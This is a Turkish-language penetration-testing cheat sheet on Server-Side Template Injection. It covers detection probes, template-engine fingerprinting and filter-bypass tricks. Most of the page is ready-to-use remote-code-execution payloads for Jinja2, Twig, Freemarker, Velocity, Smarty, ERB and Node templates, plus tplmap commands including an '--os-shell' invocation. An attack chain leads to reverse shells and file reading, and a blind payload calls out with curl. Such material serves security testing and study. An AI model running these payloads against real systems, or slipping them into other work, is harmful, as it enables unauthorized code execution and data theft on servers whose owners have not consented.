Server-Side Template Injection (SSTI)
RCE difficulty: orta-zor
Server-Side Template Injection (SSTI), kullanıcı girdisinin bir şablon motoruna şablon olarak (veri olarak değil) verilmesiyle oluşur. Saldırgan şablon sözdizimi enjekte ederek sunucuda ifade değerlendirtebilir; çoğu motorda bu uzaktan kod çalıştırmaya (RCE) kadar yükseltilebilir.
Nerede aranır
Section titled “Nerede aranır”- Hata sayfaları, e-posta şablonları, PDF/invoice render
- “Theme”, “signature”, “welcome message” gibi kullanıcıya özel metinler
{{name}}benzeri placeholder’ların sunucuda işlendiği her yer- Jinja2/Flask, Twig/Symfony, Freemarker/Java, Velocity, Pebble, Smarty, ERB
Tespit
Section titled “Tespit”Matematiksel bir ifade enjekte edip değerlendirilip değerlendirilmediğine bak:
${7*7} {{7*7}} <%= 7*7 %> #{7*7} ${{7*7}} {7*7}*{7*7}* @{7*7} {{7*'7'}}49 (veya motora özgü 7777777) dönüyorsa SSTI var.
Motor parmak izi
Section titled “Motor parmak izi”{{7*'7'}} → Jinja2: 7777777 | Twig: 49{{7*'7'}} → Twig 1.x / 2.x farkları için ek testler${7*7} → Freemarker / Velocity / Spring EL / Thymeleaf#{7*7} → Ruby EL / some Java<%= 7*7 %> → ERB / ASP tarzı{{constructor.constructor('return this')()}} → JS template (Node)PortSwigger karar ağacı: önce {{ }} vs ${ } vs <%= %>, sonra motora özel.
Motora göre RCE payload’ları
Section titled “Motora göre RCE payload’ları”# Jinja2 (Python / Flask){{ cycler.__init__.__globals__.os.popen('id').read() }}{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Jinja2 sandbox bypass (örnek kalıp — sürüme bağlı){% for x in ().__class__.__base__.__subclasses__() %} ...{% endfor %}# Twig (PHP){{ ['id']|filter('system') }}{{ ['id']|map('system')|join }}{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}# Freemarker (Java)<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }${"freemarker.template.utility.Execute"?new()("id")}# Velocity (Java) — Runtime.exec zinciri#set($x='')###set($rt=$x.class.forName('java.lang.Runtime'))###set($chr=$x.class.forName('java.lang.Character'))###set($str=$x.class.forName('java.lang.String'))##...# Smarty (PHP){system('id')}{php}echo `id`;{/php}# ERB (Ruby)<%= system('id') %><%= `id` %># Node (Handlebars/Pug zayıf config / JS eval templates){{constructor.constructor('return process')().mainModule.require('child_process').execSync('id').toString()}}Komut üreteci
Section titled “Komut üreteci”tplmap · SSTI
embedded tooltplmap -u https://hedef/page?name=test -d nametplmap · SSTI
Section titled “tplmap · SSTI”Metodoloji
Section titled “Metodoloji”-
Tetikle — girdinin yansıdığı her alanda polyglot ifade dene; 49 görürsen şablon değerlendiriliyordur. Blind ise time/OAST:
{{config.__class__.__init__.__globals__['os'].popen('curl x').read()}} -
Motoru tespit et — karar ağacı + hata mesajları (Twig/Jinja stack).
-
Nesne grafiğini keşfet — Python:
{{ ''.__class__.__mro__ }}{{ ''.__class__.__mro__[1].__subclasses__() }} -
RCE’ye yükselt — os / Runtime / system erişimi bul; sandbox varsa bilinen bypass gadget’larını dene.
-
Etkiyi kanıtla — id / whoami , sonra outbound veya dosya okuma.
Filtre atlatma
Section titled “Filtre atlatma”# Süslü parantez engeli — alternatif sözdizimi${7*7} vs {{7*7}}# Nokta engeli (Jinja){{ request['application'] }}# Underscore engeli — attr / [] erişimi{{ request|attr('application') }}tplmap / otomasyon
Section titled “tplmap / otomasyon”tplmap -u 'https://hedef/page?name=John' --os-shellSaldırı zinciri
Section titled “Saldırı zinciri”{{7*7}} / ${7*7} yansıyor → motor parmak izi (Jinja / Twig / Freemarker) → RCE payload (config/os/popen veya Object constructor) → reverse shell / dosya okumaE-posta şablonu SSTI (blind) → time-based / OAST (collaborator URL in payload) → confirm → RCEChecklist
Section titled “Checklist”□ {{7*7}} ${7*7} #{7*7}<%= 7*7 %>□ Hata sayfası / PDF / mail / welcome message sink□ Motor fingerprint sonra RCE□ Blind: sleep / DNS OAST□ Filtre: attr[], request['application']